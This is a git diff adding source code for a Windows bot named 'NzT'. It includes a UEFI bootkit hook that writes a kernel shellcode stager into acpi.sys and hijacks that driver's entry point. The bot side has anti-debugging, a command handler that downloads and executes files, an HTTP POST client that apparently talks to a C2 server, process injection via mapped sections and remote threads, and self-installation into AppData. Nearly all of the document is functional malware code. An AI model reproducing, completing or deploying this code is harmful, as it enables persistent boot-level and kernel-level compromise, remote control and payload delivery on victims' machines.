DEBUGOBJECTINFOCLASS DebugObjectInformationClass, + IN PVOID DebugInformation, + IN ULONG DebugInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + +NTSTATUS +NTAPI +NtWaitForDebugEvent( + IN HANDLE DebugObjectHandle, + IN BOOLEAN Alertable, + IN OPTIONAL PLARGE_INTEGER Timeout, + OUT PVOID WaitStateChange + ); + +// Debugging UI + +NTSTATUS +NTAPI +DbgUiConnectToDbg( + VOID + ); + +HANDLE +NTAPI +DbgUiGetThreadDebugObject( + VOID + ); + +VOID +NTAPI +DbgUiSetThreadDebugObject( + IN HANDLE DebugObject + ); + +NTSTATUS +NTAPI +DbgUiWaitStateChange( + OUT PDBGUI_WAIT_STATE_CHANGE StateChange, + IN OPTIONAL PLARGE_INTEGER Timeout + ); + +NTSTATUS +NTAPI +DbgUiContinue( + IN PCLIENT_ID AppClientId, + IN NTSTATUS ContinueStatus + ); + +NTSTATUS +NTAPI +DbgUiStopDebugging( + IN HANDLE Process + ); + +NTSTATUS +NTAPI +DbgUiDebugActiveProcess( + IN HANDLE Process + ); + +VOID +NTAPI +DbgUiRemoteBreakin( + IN PVOID Context + ); + +NTSTATUS +NTAPI +DbgUiIssueRemoteBreakin( + IN HANDLE Process + ); + +VOID +NTAPI +RtlExitUserProcess( + IN NTSTATUS ExitStatus + ); + +NTSTATUS +NTAPI +RtlQueueWorkItem( + IN WORKERCALLBACKFUNC CallbackFunction, + IN OPTIONAL PVOID Context, + IN ULONG Flags + ); + + +NTSTATUS +NTAPI +RtlCreateUserStack( + SIZE_T CommittedStackSize, + SIZE_T MaximumStackSize, + SIZE_T ZeroBits, + ULONG PageSize, + ULONG ReserveAlignment, + PINITIAL_TEB InitialTeb + ); + + +LRESULT +NTAPI +NtdllDefWindowProc_W( + ); + + +LRESULT +NTAPI +NtdllDefWindowProc_A( + ); + + +NTSTATUS +NTAPI +LdrQueryProcessModuleInformation( + PRTL_PROCESS_MODULES ModuleInformation, + ULONG ModuleInformationLength, + PULONG ReturnLength + ); + + +// +// end non-crt prototypes +// + + +// +// nt crt +// +//please do not change swprintf stuff otherwise win32 mode is always trashed +#if !defined(_NO_NTDLL_CRT_) +int __cdecl vsprintf( char *, const char *, va_list ); +int __cdecl _vsnprintf( char *, size_t, const char *, va_list ); +int __cdecl sprintf( char *, const char *, ... ); +int __cdecl _snprintf( char *, size_t, const char *, ... ); +int __cdecl _snwprintf( wchar_t *, size_t, const wchar_t *, ... ); +int __cdecl swprintf( wchar_t *, const wchar_t *, ... ); +int __cdecl sscanf( const char *, const char *, ... ); +int __cdecl _vscwprintf( const wchar_t *, va_list ); +int __cdecl _vsnwprintf( wchar_t *, size_t, const wchar_t *, va_list ); + +//readded 4 jan 2012 +//win64 mode does not need this +//for using this routines ntdllp.lib is required +#if !defined(_M_X64) +IMPORT_FN size_t __cdecl wcslen(const wchar_t *); +IMPORT_FN wchar_t * __cdecl wcscat(wchar_t *dst, const wchar_t *src); +IMPORT_FN int __cdecl wcscmp(const wchar_t *src, const wchar_t *dst); +IMPORT_FN int __cdecl _wcsicmp(const wchar_t *, const wchar_t *); +IMPORT_FN int __cdecl _wcsnicmp(const wchar_t *, const wchar_t *, size_t); +IMPORT_FN wchar_t * __cdecl _wcslwr(wchar_t *); +IMPORT_FN wchar_t * __cdecl _wcsupr(wchar_t *); +IMPORT_FN wchar_t * __cdecl wcschr(const wchar_t *string, wchar_t ch); +IMPORT_FN wchar_t * __cdecl wcscpy(wchar_t *dst, const wchar_t *src); +IMPORT_FN wchar_t * __cdecl wcsncat(wchar_t *front, const wchar_t *back, size_t count); +IMPORT_FN wchar_t * __cdecl wcsncpy(wchar_t *dest, const wchar_t *source, size_t count); +#endif //_M_X64 + +#endif // _NO_NTDLL_CRT_ + +#ifdef __cplusplus +} +#endif + + +#endif /* _NTDLL_ */ diff --git a/src/Bootkit/OslArchTransferToKernel.c b/src/Bootkit/OslArchTransferToKernel.c new file mode 100644 index 0000000..a5f777d --- /dev/null +++ b/src/Bootkit/OslArchTransferToKernel.c @@ -0,0 +1,96 @@ +#include "Common.h" + +typedef struct +{ + ULONG OsMajorVersion; + ULONG OsMinorVersion; + ULONG Length; + ULONG Reserved; + LIST_ENTRY LoadOrderListHead; + LIST_ENTRY MEmoryDescriptorListHead; + LIST_ENTRY BootDriverListHead; +} PARAMETER_BLOCK, *PPARAMETER_BLOCK ; + + +D_SEC( B ) VOID EFIAPI OslArchTransferToKernelHook( _In_ PVOID LoaderBlock, _In_ PVOID Entry ) +{ + SIZE_T Len = 0; + PEFTBL Eft = NULL; + PLIST_ENTRY Hdr = NULL; + PLIST_ENTRY Ent = NULL; + PPARAMETER_BLOCK Blk = NULL; + PIMAGE_DOS_HEADER Ntd = NULL; + PIMAGE_DOS_HEADER Dos = NULL; + PIMAGE_NT_HEADERS Nth = NULL; + PIMAGE_SECTION_HEADER Sec = NULL; + PLDR_DATA_TABLE_ENTRY Ldr = NULL; + + /* Get EfiTable address */ + Eft = C_PTR( G_PTR( EfTbl ) ); + Blk = C_PTR( LoaderBlock ); + + /* Initialize list values */ + Hdr = & Blk->LoadOrderListHead; + Ent = Hdr->Flink; + + /* Enumerate the list to completion */ + while ( C_PTR( Ent ) != C_PTR( Hdr ) ) { + + /* Get the LDR_DATA_TABLE_ENTRY */ + Ldr = CONTAINING_RECORD( Ent, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks ); + + /* Is this acpi.sys? */ + if ( HashString( Ldr->BaseDllName.Buffer, Ldr->BaseDllName.Length ) == 0x5dc8930f ) { + Dos = C_PTR( Ldr->DllBase ); + Nth = C_PTR( U_PTR( Dos ) + Dos->e_lfanew ); + Sec = IMAGE_FIRST_SECTION( Nth ); + + /* Enumerate all the PE Sections */ + for ( INT Idx = 0 ; Idx < Nth->FileHeader.NumberOfSections ; ++Idx ) { + /* Is this a .text section? */ + if ( HashString( & Sec[ Idx ].Name, 0 ) == 0x0b6dca4d ) { + + /* Locate the ntoskrnl image base */ + Ntd = C_PTR( U_PTR( U_PTR( Entry ) &~ ( 0x1000 - 1 ) ) ); + while ( Ntd->e_magic != IMAGE_DOS_SIGNATURE ) { + /* Decrement by a page! */ + Ntd = C_PTR( U_PTR( Ntd ) - 0x1000 ); + }; + + /* Store information for DrvMain to retrieve */ + Eft->KernelBuf = C_PTR( G_PTR( EfiMain ) ); + Eft->KernelLen = U_PTR( ( U_PTR( GetIp() ) + 11 ) - U_PTR( G_PTR( EfiMain ) ) ); + Eft->KernelBase = C_PTR( Ntd ); + Eft->TgtDrvImgSect = C_PTR( & Sec[ Idx ] ); + Eft->TgtDrvImgBase = C_PTR( Ldr->DllBase ); + Eft->TgtDrvLdrEntry = C_PTR( Ldr ); + Eft->TgtDrvAddressOfEntrypoint = Nth->OptionalHeader.AddressOfEntryPoint; + + /* Find the total length of the buffer */ + Len = C_PTR( U_PTR( U_PTR( GetIp() ) + 11 ) - U_PTR( G_PTR( DrvMain ) ) ); + + /* Insert DrvMainStart */ + __builtin_memcpy( C_PTR( U_PTR( Dos ) + Sec[ Idx ].VirtualAddress ), C_PTR( G_PTR( DrvMain ) ), Len ); + + /* Insert a hook! */ + Ldr->EntryPoint = C_PTR( U_PTR( Dos ) + Sec[ Idx ].VirtualAddress ); + Nth->OptionalHeader.AddressOfEntryPoint = C_PTR( U_PTR( Dos ) + Sec[ Idx ].VirtualAddress ); + + /* Set -x permission in section */ + Sec[ Idx ].Characteristics |= IMAGE_SCN_MEM_EXECUTE; + + /* Break! */ + break; + }; + }; + /* Break! */ + break; + }; + + /* Next entry */ + Ent = C_PTR( Ent->Flink ); + }; + + /* Execute original OslArchTransferToKernel stub and callgate */ + ( ( __typeof__( OslArchTransferToKernelHook ) * ) Eft->OslArchTransferToKernelGate )( LoaderBlock, Entry ); +}; diff --git a/src/Bootkit/OslArchTransferToKernel.h b/src/Bootkit/OslArchTransferToKernel.h new file mode 100644 index 0000000..e848f56 --- /dev/null +++ b/src/Bootkit/OslArchTransferToKernel.h @@ -0,0 +1,11 @@ +#pragma once + +/*! + * + * Purpose: + * + * Inserts a kernel shellcode stager into ACPI.SYS + * .rsrc section, and directs execution to it. + * +!*/ +D_SEC( B ) VOID EFIAPI OslArchTransferToKernelHook( _In_ PVOID LoaderBlock, _In_ PVOID Entry ); diff --git a/src/Bot/Bot.vcxproj b/src/Bot/Bot.vcxproj new file mode 100644 index 0000000..81d3010 --- /dev/null +++ b/src/Bot/Bot.vcxproj @@ -0,0 +1,213 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 15.0 + {4415A846-1C99-4260-960D-40E141837813} + client + 10.0 + Bot + + + + Application + true + v142 + MultiByte + + + Application + false + v142 + false + MultiByte + false + + + Application + true + v142 + MultiByte + + + Application + false + v142 + true + MultiByte + + + + + + + + + + + + + + + + + + + + + true + false + true + + + false + + + false + C:\Users\user\Documents\NzT\src\Shared;$(IncludePath) + C:\Users\user\Documents\NzT\src\Shared;$(SourcePath) + + + C:\Users\user\Documents\NzT\src\Shared;$(IncludePath) + C:\Users\user\Documents\NzT\src\Shared;$(SourcePath) + + + + Level3 + Disabled + + + false + true + false + Cdecl + Default + C:\Users\x\Documents\Projects\NzT\Shared;%(AdditionalIncludeDirectories) + WIN32;_DEBUG;WIN32_LEAN_AND_MEAN;%(PreprocessorDefinitions) + false + MultiThreadedDebug + + + Console + false + + + crypt32.lib;%(AdditionalDependencies) + true + + + + + Level3 + Disabled + true + true + + + Console + + + + + Level2 + Disabled + true + false + + + false + false + WIN32_LEAN_AND_MEAN + false + false + Cdecl + CompileAsC + C:\Users\x\Documents\Projects\NzT\Shared;%(AdditionalIncludeDirectories) + Default + Size + MultiThreaded + NotUsing + + + -nologo -Gm- -GR- -EHa- -Oi -GS- -Gs9999999 %(AdditionalOptions) + + + Windows + true + true + + + true + true + + + EntryPoint + + + + + true + true + /STACK:0x100000,0x100000 %(AdditionalOptions) + + + true + + + + + Level3 + MaxSpeed + true + true + true + true + + + Console + true + true + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/src/Bot/Bot.vcxproj.filters b/src/Bot/Bot.vcxproj.filters new file mode 100644 index 0000000..8e63a3f --- /dev/null +++ b/src/Bot/Bot.vcxproj.filters @@ -0,0 +1,80 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;hm;inl;inc;ipp;xsd + + + {3b15b3f2-24cc-4e25-a057-57e6df9926df} + + + {7b834a1a-b392-4ded-9aa9-67e9690a8512} + + + {e897b8a8-0247-4bb2-b798-865608ef6a92} + + + {def7c394-4c70-4813-a19d-7497c656d21e} + + + + + Source Files\Network + + + Source Files\Network + + + Source Files\Core + + + Source Files\Network + + + Source Files\Core + + + Source Files\Core + + + Source Files\Core + + + Source Files\Core + + + Source Files\Core + + + + + Header Files\Core + + + Header Files\Network + + + Header Files\Network + + + Header Files\Core + + + Header Files\Core + + + Header Files\Core + + + Header Files\Core + + + Header Files\Core + + + \ No newline at end of file diff --git a/src/Bot/Bot.vcxproj.user b/src/Bot/Bot.vcxproj.user new file mode 100644 index 0000000..6e2aec7 --- /dev/null +++ b/src/Bot/Bot.vcxproj.user @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/src/Bot/antidebug.c b/src/Bot/antidebug.c new file mode 100644 index 0000000..c8dbf7d --- /dev/null +++ b/src/Bot/antidebug.c @@ -0,0 +1,20 @@ +#include + +#include "antidebug.h" +#include "nzt.h" +#include "utils.h" + +BOOL IsBeingDebuggedAlt() +{ + return GetPeb()->BeingDebugged; +} + +WINERROR IsBeingDebugged() +{ + WINERROR Status = NO_ERROR; + + if (IsBeingDebuggedAlt()) + return ERROR_UNSUCCESSFULL; + + return Status; +} \ No newline at end of file diff --git a/src/Bot/antidebug.h b/src/Bot/antidebug.h new file mode 100644 index 0000000..b789603 --- /dev/null +++ b/src/Bot/antidebug.h @@ -0,0 +1,9 @@ +#ifndef __ANTIDEBUG_H__ +#define __ANTIDEBUG_H__ + +#include "nzt.h" + +BOOL IsBeingDebuggedAlt(); +WINERROR IsBeingDebugged(); + +#endif //__ANTIDEBUG_H__ \ No newline at end of file diff --git a/src/Bot/command.c b/src/Bot/command.c new file mode 100644 index 0000000..25cb09c --- /dev/null +++ b/src/Bot/command.c @@ -0,0 +1,35 @@ +#include +#ifdef _DEBUG +#include +#endif + +#include "nzt.h" +#include "command.h" +#include "utils.h" + +VOID CommandExecute( + COMMANDS Command, + PCHAR* Parameter +) +{ + DebugPrint("NzT: Executed command: %d %s", Command, Parameter[2]); + + switch (Command) + { + case COMMAND_DL_EXEC: + { + DownloadFile(Parameter[2], TRUE); + break; + } + + case COMMAND_UPDATE: + { + DownloadFile(Parameter[2], TRUE); + //uninstall and update registry key values to hold new version number + break; + } + + case COMMAND_KILL: + API(ExitProcess(0)); + } +} \ No newline at end of file diff --git a/src/Bot/command.h b/src/Bot/command.h new file mode 100644 index 0000000..23c41fa --- /dev/null +++ b/src/Bot/command.h @@ -0,0 +1,19 @@ +#ifndef __COMMAND_H__ +#define __COMMAND_H__ + +typedef enum +{ + COMMAND_DL_EXEC = 0x992c01, + COMMAND_UPDATE = 0xba1af8, + COMMAND_LOAD_PLUGIN = 0xbfc330, + COMMAND_KILL = 0x2fe86c, + COMMAND_UNINSTALL = 0xa2327f +} COMMANDS; + +VOID CommandExecute( + COMMANDS Command, + PCHAR* Parameter +); + + +#endif //__COMMAND_H__ \ No newline at end of file diff --git a/src/Bot/globals.c b/src/Bot/globals.c new file mode 100644 index 0000000..58f3478 --- /dev/null +++ b/src/Bot/globals.c @@ -0,0 +1,87 @@ +#include +#include +#ifdef _DEBUG +#include +#endif + +#include "nzt.h" +#include "crt.h" +#include "globals.h" +#include "guid.h" +#include "utils.h" +#include "config.h" + +DWORD g_CurrentProcessId = 0; +LPWSTR g_CurrentProcessPath = 0; +LPTSTR g_CurrentProcessName = 0; +HMODULE g_CurrentProcessModule = 0; +HMODULE g_CurrentModule = 0; + +LPTSTR g_BotGuid = 0; +DWORD g_BotOS = 0; +DWORD g_BotArch = 0; +LPTSTR g_BotUsername = 0; +DWORD g_BotGroupId = 0; +LPWSTR g_BotInstallPath = 0; + +HANDLE g_ShutdownEvent = 0; +HANDLE g_MainMutex = 0; + +VOID GlobalsRelease() +{ + if (g_CurrentProcessPath) + Free(g_CurrentProcessPath); + + if (g_ShutdownEvent) + API(CloseHandle(g_ShutdownEvent)); +} + +BOOL GlobalsInitialize(HMODULE CurrentModule, ULONG Flags) +{ + BOOL Status = TRUE; + + g_CurrentModule = CurrentModule; + g_CurrentProcessModule = API(GetModuleHandleW)(NULL); + g_CurrentProcessId = API(GetCurrentProcessId)(); + + g_BotGuid = GetBotGuid(); + g_BotGroupId = 0; + g_BotUsername = GetUsername(); + g_BotInstallPath = NULL; + + do + { + /*if (Flags & G_SHUTDOWN_EVENT) + { + if (!(g_ShutdownEvent = CreateEvent(NULL, TRUE, FALSE, 0))) + { + Status = GetLastError(); + DebugPrint("Globals: Initialized ShutdownEvent failed with status: %u", Status); + break; + } // G_SHUTDOWN_EVENT + }*/ + + if (Flags & G_SYSTEM_VERSION) + { + g_BotOS = GetOperatingSystem(); + g_BotArch = Is64Bit(); + } + + if (Flags & G_CURRENT_PROCESS_ID) + g_CurrentProcessId = API(GetCurrentProcessId)(); + + if (Flags & G_CURRENT_PROCESS_PATH) + { + if (!GetModulePath(API(GetModuleHandleW)(NULL), &g_CurrentProcessPath, FALSE)) + { + Status = FALSE; + DebugPrint("NzT: Failed to initialize current process path!"); + } + } + } while (FALSE); + + if (Status != TRUE) + GlobalsRelease(); + + return Status; +} \ No newline at end of file diff --git a/src/Bot/globals.h b/src/Bot/globals.h new file mode 100644 index 0000000..9eb088f --- /dev/null +++ b/src/Bot/globals.h @@ -0,0 +1,27 @@ +#ifndef __GLOBALS_H__ +#define __GLOBALS_H__ + +#define G_SYSTEM_VERSION 1 // OS version +#define G_CURRENT_PROCESS_ID 2 // Current process ID +#define G_CURRENT_MODULE_PATH 4 // Current module full path for DLL (equal to G_PROCESS_MODULE_PATH for EXE) +#define G_CURRENT_PROCESS_PATH 8 // Current process module full path (for both DLL and EXE) +#define G_SHUTDOWN_EVENT 0x10 // Application shutdown event + + +extern DWORD g_CurrentProcessId; +extern LPWSTR g_CurrentProcessPath; +extern LPTSTR g_CurrentProcessName; + +extern LPTSTR g_BotGuid; +extern DWORD g_BotOS; +extern DWORD g_BotArch; +extern LPTSTR g_BotUsername; +extern LPWSTR g_BotInstallPath; + +extern HANDLE g_ShutdownEvent; +extern HANDLE g_MainMutex; + +VOID GlobalsRelease(); +BOOL GlobalsInitialize(HMODULE CurrentModule, ULONG Flags); + +#endif //__GLOBALS_H__ \ No newline at end of file diff --git a/src/Bot/http.c b/src/Bot/http.c new file mode 100644 index 0000000..b6d6dd8 --- /dev/null +++ b/src/Bot/http.c @@ -0,0 +1,120 @@ +#include +#include + +#include "nzt.h" +#include "http.h" +#include "utils.h" + +HINTERNET HttpConnect( + LPSTR UserAgent, + LPSTR Host, + WORD Port, + DWORD Flags +) +{ + HINTERNET Internet = 0; + HINTERNET Connect = 0; + + do + { + Internet = API(InternetOpenW(L"NzT", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0)); + if (Internet == NULL) + break; + + Connect = API(InternetConnectA(Internet, Host, 80, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 1)); + if (Connect == NULL) + break; + } while (FALSE); + + return Connect; +} + +HINTERNET HttpRequest( + HINTERNET Connect, + BOOL bPost, + LPSTR URI, + LPSTR Referrer, + PCHAR Data, + DWORD Flags +) +{ + HINTERNET Request = 0; + DWORD Size = sizeof(DWORD); + DWORD Status = 0; + BOOL Send = FALSE; + + static LPSTR AcceptTypes[2] = { "*/*", NULL }; + static TCHAR Header[] = ("Content-Type: application/x-www-form-urlencoded"); + + do + { + Request = API(HttpOpenRequestA(Connect, "POST", URI, NULL, NULL, AcceptTypes, 0, 1)); + if (Request == NULL) + break; + + Send = API(HttpSendRequestA(Request, Header, StringLengthA(Header), Data, StringLengthA(Data))); + if (Send == FALSE) + break; + + return Request; + + } while (FALSE); + + return NULL; +} + +BOOL HttpReceiveData(HINTERNET Request, PCHAR* Buffer) +{ + CHAR Data[256] = { 0 }; + DWORD Received = 0; + DWORD Read = 0; + + ZeroMemory(&Data, sizeof(Data)); + + while (API(InternetReadFile(Request, Data, 256 - 1, &Received)) && Received != 0) + { + if (!ReallocEx(&(*Buffer), Read + Received + 1)) + return FALSE; + + MemoryCopy((*Buffer) + Read, &Data, Received); + ZeroMemory(&Data, sizeof(Data)); + } + + return TRUE; +} + +BOOL HttpPostRequest( + PCHAR Host, + PCHAR URI, + PCHAR Data, + PCHAR* Response +) +{ + HINTERNET Connect = 0; + HINTERNET Request = 0; + BOOL Status = FALSE; + + do + { + Connect = HttpConnect(HTTP_USER_AGENT, Host, INTERNET_DEFAULT_HTTP_PORT, 0); + if (Connect == NULL) + break; + + Request = HttpRequest(Connect, TRUE, URI, NULL, Data, 0); + if (Request == NULL) + break; + + Status = HttpReceiveData(Request, Response); + } while (FALSE); + + if (!Status) + DebugPrint("NzT: HttpPostRequest() failed!"); + + if (Connect != NULL) + API(InternetCloseHandle(Connect)); + + if (Request != NULL) + API(InternetCloseHandle(Request)); + + return Status; +} diff --git a/src/Bot/http.h b/src/Bot/http.h new file mode 100644 index 0000000..1957d99 --- /dev/null +++ b/src/Bot/http.h @@ -0,0 +1,15 @@ +#ifndef __HTTP_H__ +#define __HTTP_H__ + +#define HTTP_USER_AGENT "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; NzT)" +#define HTTP_BUFFER_SIZE 4096 + +/* Functions */ +BOOL HttpPostRequest( + PCHAR Host, + PCHAR URI, + PCHAR Data, + PCHAR* Response +); + +#endif //__HTTP_H__ \ No newline at end of file diff --git a/src/Bot/injection.c b/src/Bot/injection.c new file mode 100644 index 0000000..c0eb692 --- /dev/null +++ b/src/Bot/injection.c @@ -0,0 +1,177 @@ +#include + +#include "nzt.h" +#include "utils.h" + +LPVOID GetImageBase(LPVOID ProcessAddress) +{ + LPBYTE Address = (LPBYTE)ProcessAddress; + Address = (LPBYTE)((SIZE_T)Address & 0xFFFFFFFFFFFF0000); + + for (;;) + { + PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)Address; + if (DosHeader->e_magic == IMAGE_DOS_SIGNATURE) + { + if (DosHeader->e_lfanew < 0x1000) + { + PIMAGE_NT_HEADERS NtHeaders = (PIMAGE_NT_HEADERS)&((unsigned char*)Address)[DosHeader->e_lfanew]; + if (NtHeaders->Signature == IMAGE_NT_SIGNATURE) + break; + } + } + + Address -= 0x1000; + } + + return Address; +} + +VOID ProcessRelocation(PIMAGE_BASE_RELOCATION Relocation, DWORD ImageBase, DWORD Delta, DWORD Size) +{ + PIMAGE_FIXUP_ENTRY Fixup; + DWORD PointerRva; + PIMAGE_BASE_RELOCATION LocalRelocation = Relocation; + + while ((DWORD)LocalRelocation - (DWORD)Relocation < Size) + { + if (!LocalRelocation->SizeOfBlock) + break; + + Fixup = (PIMAGE_FIXUP_ENTRY)((ULONG)LocalRelocation + sizeof(IMAGE_BASE_RELOCATION)); + for (ULONG r = 0; r < (LocalRelocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) >> 1; r++) + { + PointerRva = LocalRelocation->VirtualAddress + Fixup->Offset; + if (Fixup->Type == IMAGE_REL_BASED_HIGHLOW) + *(PULONG)((ULONG)ImageBase + PointerRva) += Delta; + + Fixup++; + } + + LocalRelocation = (PIMAGE_BASE_RELOCATION)((ULONG)LocalRelocation + LocalRelocation->SizeOfBlock); + } + + return; +} + +LPVOID InjectData( + HANDLE Process, + LPVOID Data, + DWORD Size +) +{ + LPVOID Address; + + if ((Address = NzT.Api.pVirtualAllocEx(Process, NULL, Size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)) == NULL) + return NULL; + + if (!NzT.Api.pWriteProcessMemory(Process, Address, Data, Size, NULL)) + { + NzT.Api.pVirtualFreeEx(Process, Address, Size, MEM_RELEASE); + return NULL; + } + + return Address; +} + +DWORD InjectCode(HANDLE Process, LPVOID Function) +{ + HANDLE Map, RemoteThread, Mutex, RemoteMutex; + DWORD Base, Size, ViewSize, NewBaseAddress, Address, ProcessId; + LPVOID View; + NTSTATUS Status; + PIMAGE_DOS_HEADER DosHeader; + PIMAGE_NT_HEADERS NtHeaders; + ULONG RelativeRva, RelativeSize; + + do + { + Map = 0; + RemoteThread = 0; + View = NULL; + Mutex = 0; + RemoteMutex = 0; + + if ((ProcessId = GetProcessIdByHandle(Process)) == -1) + break; + + if ((Mutex = CreateMutexOfProcess(ProcessId)) == 0) + break; + + if (!NzT.Api.pDuplicateHandle(NzT.Api.pGetCurrentProcess(), Mutex, Process, &RemoteMutex, 0, FALSE, DUPLICATE_SAME_ACCESS)) + break; + + Base = (DWORD)GetImageBase(Function); + Size = ((PIMAGE_OPTIONAL_HEADER)((LPVOID)((PBYTE)(Base)+((PIMAGE_DOS_HEADER) + (Base))->e_lfanew + sizeof(DWORD) + sizeof(IMAGE_FILE_HEADER))))->SizeOfImage; + + if ((Map = NzT.Api.pCreateFileMappingW(NzT.Api.pGetCurrentProcess() + , NULL, PAGE_EXECUTE_READWRITE, 0, Size, NULL)) == 0) + break; + + if ((View = NzT.Api.pMapViewOfFile(Map, FILE_MAP_WRITE, 0, 0, 0)) == NULL) + break; + + MemoryCopy(View, (LPVOID)Base, Size); + + ViewSize = 0; + NewBaseAddress = 0; + + if ((Status = (NTSTATUS)NzT.Api.pNtMapViewOfSection(Map, Process, (PVOID*)&NewBaseAddress, 0, Size, + NULL, &ViewSize, (SECTION_INHERIT)1, 0, PAGE_EXECUTE_READWRITE)) != STATUS_SUCCESS) + break; + + DosHeader = (PIMAGE_DOS_HEADER)Base; + NtHeaders = NtHeaders = (PIMAGE_NT_HEADERS)RVATOVA(Base, DosHeader->e_lfanew); + + RelativeRva = NtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress; + RelativeSize = NtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size; + + ProcessRelocation((PIMAGE_BASE_RELOCATION)(Base + RelativeRva), (DWORD)View, NewBaseAddress - Base, RelativeSize); + + Address = (DWORD)Function - Base + NewBaseAddress; + } while (FALSE); + + if (Mutex != 0) + API(CloseHandle)(Mutex); + + if (Map != 0) + API(CloseHandle)(Map); + + if (RemoteThread != 0) + API(CloseHandle)(RemoteThread); + + if (View != NULL) + API(UnmapViewOfFile)(View); + + return Address; +} + +BOOL InjectBot(DWORD ProcessId, LPTHREAD_START_ROUTINE Thread) +{ + DWORD Address; + HANDLE RemoteThread, Process; + BOOL Injected = FALSE; + + if ((Process = NzT.Api.pOpenProcess(PROCESS_QUERY_INFORMATION | + PROCESS_VM_OPERATION | + PROCESS_VM_WRITE | + PROCESS_VM_READ | + PROCESS_CREATE_THREAD | + PROCESS_DUP_HANDLE + ,FALSE, ProcessId)) == 0) + return FALSE; + + if ((Address = InjectCode(Process, Thread)) == 0) + return FALSE; + + if ((RemoteThread = API(CreateRemoteThread)(Process, NULL, 0, (LPTHREAD_START_ROUTINE)Address, NULL, 0, NULL)) != 0) + { + NzT.Api.pCloseHandle(RemoteThread); + Injected = TRUE; + } + + API(CloseHandle)(Process); + + return Injected; +} \ No newline at end of file diff --git a/src/Bot/injection.h b/src/Bot/injection.h new file mode 100644 index 0000000..27e39e9 --- /dev/null +++ b/src/Bot/injection.h @@ -0,0 +1,6 @@ +#ifndef __INJECTION_H__ +#define __INJECTION_H__ + +BOOL InjectBot(DWORD ProcessId, LPTHREAD_START_ROUTINE Thread); + +#endif //__INJECTION_H__ \ No newline at end of file diff --git a/src/Bot/install.c b/src/Bot/install.c new file mode 100644 index 0000000..2531343 --- /dev/null +++ b/src/Bot/install.c @@ -0,0 +1,136 @@ +#include + +#include "install.h" +#include "nzt.h" +#include "crt.h" +#include "utils.h" +#include "config.h" +#include "strings.h" +#include "globals.h" +#include "file.h" +#include "registry.h" + +static DWORD GenerateBotFileName(PDWORD Seed) +{ + return(*Seed = 1664525 * (*Seed)); +} + +LPWSTR GetBotFileName(PDWORD Seed) +{ + DWORD FileName = 0, + FileNameLength = 0; + wchar_t FileNameString[32] = { 0 }; + + FileName = GenerateBotFileName(Seed); + + MemoryZero(&FileNameString, sizeof(FileNameString)); + + if ((FileNameLength = API(wsprintfW)(FileNameString, L"%x", FileName)) > 0) + return StringCopyW(FileNameString, FileNameLength); + + return NULL; +} + +LPWSTR GetBotDirectory() +{ + LPWSTR AppData = NULL, + DirectoryName = NULL; + BOOL Status = FALSE; + + if ((DirectoryName = GetBotFileName(GetSerialNumber())) == NULL) + return NULL; + + if ((AppData = GetDirectoryPath(PATH_APPDATA)) != NULL) + Status = StringConcatW(&AppData, DirectoryName); + + Free(DirectoryName); + + if (!Status) + { + Free(AppData); + AppData = NULL; + } + + return AppData; +} + +LPWSTR GetBotPath() +{ + LPWSTR Directory = NULL, + FileName = NULL; + BOOL Status = FALSE; + + if ((FileName = GetBotFileName(GetSerialNumber())) == NULL) + return NULL; + + if ((Directory = GetBotDirectory()) != NULL) + Status = StringConcatW(&Directory, WSTRING_BACKSLASH) && StringConcatW(&Directory, FileName) && + StringConcatW(&Directory, WSTRING_DOT_EXE); + + Free(FileName); + + if (!Status) + { + Free(Directory); + Directory = NULL; + } + + return Directory; +} + +BOOL IsSystemInfected() +{ + BOOL Infected = FALSE; + LPWSTR Path = NULL; + + if ((Path = GetBotPath()) == NULL) + return FALSE; + + Infected = StringCompareW(g_BotInstallPath, Path); + + Free(Path); + return Infected; +} + +//setup auto-start registry +//persistence keys +//config keys +//setup dynamic config +BOOL InstallBot() +{ + LPWSTR Path = NULL, + Directory = NULL, + Key = NULL, + Config = NULL; + + if ((Directory = GetBotDirectory()) == NULL) + return FALSE; + + Path = GetBotPath(); + if (Path != NULL) + { + DosPathToNtPath(&Path); + DosPathToNtPath(&Directory); + + if (FileCreateDirectory(Directory)) + { + DosPathToNtPath(&g_CurrentProcessPath); + FileCopy(g_CurrentProcessPath, Path, TRUE); + DebugPrintW(L"NzT: Install location: %ls", Path); + g_BotInstallPath = Path; + return TRUE; + } + } + + DebugPrintW(L"NzT: Failed to install at :%ls", Path) + + return FALSE; +} + +BOOL UninstallBot() +{ + LPWSTR Path = NULL, + Directory = NULL; + + return FALSE; +} \ No newline at end of file diff --git a/src/Bot/install.h b/src/Bot/install.h new file mode 100644 index 0000000..05316bc --- /dev/null +++ b/src/Bot/install.h @@ -0,0 +1,10 @@ +#ifndef __INSTALL_H__ +#define __INSTALL_H__ + +LPWSTR GetBotFileName(PDWORD Seed); +LPWSTR GetBotDirectory(); +LPWSTR GetBotPath(); +BOOL IsSystemInfected(); +BOOL InstallBot(); + +#endif //__INSTALL_H__ \ No newline at end of file diff --git a/src/Bot/nzt.c b/src/Bot/nzt.c new file mode 100644 index 0000000..c7ec777 --- /dev/null +++ b/src/Bot/nzt.c @@ -0,0 +1,121 @@ +/* +* - CORE +* [X] - HTTP/HTTPS secure C2 communication +* - Server -> Generate RSA keypair +* - Client -> Generate AES keypair -> Encrypt with server RSA keypair +* - Client -> Encrypt data + keypair -> send AES keypair to server -> Server decrypts encrypted key, and decrypts data +* [X] - Dynamic hashed API calls (Hell's Gate) +* [X] - Dynamic configuration +* [X] - 